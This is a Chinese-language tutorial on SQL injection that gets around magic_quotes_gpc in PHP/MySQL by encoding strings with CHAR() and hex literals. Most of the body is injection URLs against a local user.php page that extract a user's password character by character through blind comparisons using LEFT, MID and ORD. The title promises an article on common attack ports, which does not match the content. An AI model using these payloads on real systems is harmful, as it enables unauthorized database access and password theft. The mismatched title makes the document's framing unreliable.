不加单引号注入注:现在我们假设magic_quotes_gpc为on了,我来为大家科普一下关于网络攻击常用端口?以下内容希望对你有帮助!
网络攻击常用端口
不加单引号注入
注:现在我们假设magic_quotes_gpc为on了。
众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多
问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成
整形类型,这个就需要用到char(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:
SELECT * FROM user WHERE username='angel'
如何使$username不带引号呢?很简单我们这样提交就可以了。
SELECT * FROM user WHERE user name=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C 相当于angel,十六进制。
其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所
包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子
(user,php),我们把查询条件改为userid:
SELECT * FROM user WHERE userid=userid
按照正常的,提交:
http://127.0.0.1/injection/user.php?userid=1
就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们
构造:
http://127.0.0.1/injection/user.php?userid=1 and password=mypass
绝对错误,因为mypass是字符串,除非提交:
http://127.0.0.1/injection/user.php?userid=1 and password='mypass'
由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/',我们有什么办法
可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:
http://127.0.0.1/injection/user.php?userid=1 and password=char
(109,121,112,97,115,115)
正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解
!
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)
正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)
又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比
较:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还
是可以用比较运算符来比较:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)
而原来已经猜好的不用改变了,很快就可以猜完:
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char
(109,121,112,97,115,115)
然后在mysql>命令提示符下或者在phpMyadmin里面执行:
select char(109,121,112,97,115,115)
就会返回:mypass
当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos
位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段
的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:
http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)
我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函
数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进
行比较、当然得出的结果也就快多了,也就是这样提交:
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112
这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大
家可以自己去试验,限于篇幅也不多说了。
弈安传媒科技微课堂,每天分享财经资讯,计算机技术知识,人生感悟,创业指导以及各种专业技术知识资料学习交流.移动学习平台、知识分享平台。随时随地的学习,如果你喜欢成长,这里你不容错过的地方.弈安传媒科技培训关注:关注自己成长,分享内容,分享自己的技术,成就未来.
[弈安传媒科技提升自己的平台]请关注:头条号及公众号 弈安传媒科技
,